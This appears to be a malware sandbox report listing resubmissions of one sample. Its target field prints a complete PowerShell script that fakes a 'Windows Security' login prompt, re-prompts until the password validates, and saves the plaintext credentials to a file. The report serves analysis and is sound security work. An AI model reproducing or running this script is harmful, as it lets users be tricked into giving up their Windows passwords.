Resubmissions

12-09-2024 21:08

240912-zy8v7avdjk 8

12-09-2024 21:04

240912-zw3w6avfld 9

12-09-2024 21:02

240912-zvhvlavarq 7

General

  • Target

    http://param([string]$username) $cred = $Host.ui.PromptForCredential("Windows Security", "Please enter user credentials", "$env:userdomain\$username","") $domain = "$env:userdomain" $full = "$domain" + "\" + "$username" $password = $cred.GetNetworkCredential().password Add-Type -assemblyname System.DirectoryServices.AccountManagement $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) while($DS.ValidateCredentials("$full", "$password") -ne $True){ $cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$username","") $domain = "$env:userdomain" $full = "$domain" + "\" + "$username" $password = $cred.GetNetworkCredential().password Add-Type -assemblyname System.DirectoryServices.AccountManagement $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) $DS.ValidateCredentials("$full", "$password") | out-null -ErrorAction SilentlyContinue } $output = $cred.GetNetworkCredential() | select-object UserName, Domain, Password $output | Out-File -FilePath "output.txt"

Score
1/10

Malware Config

Signatures

Files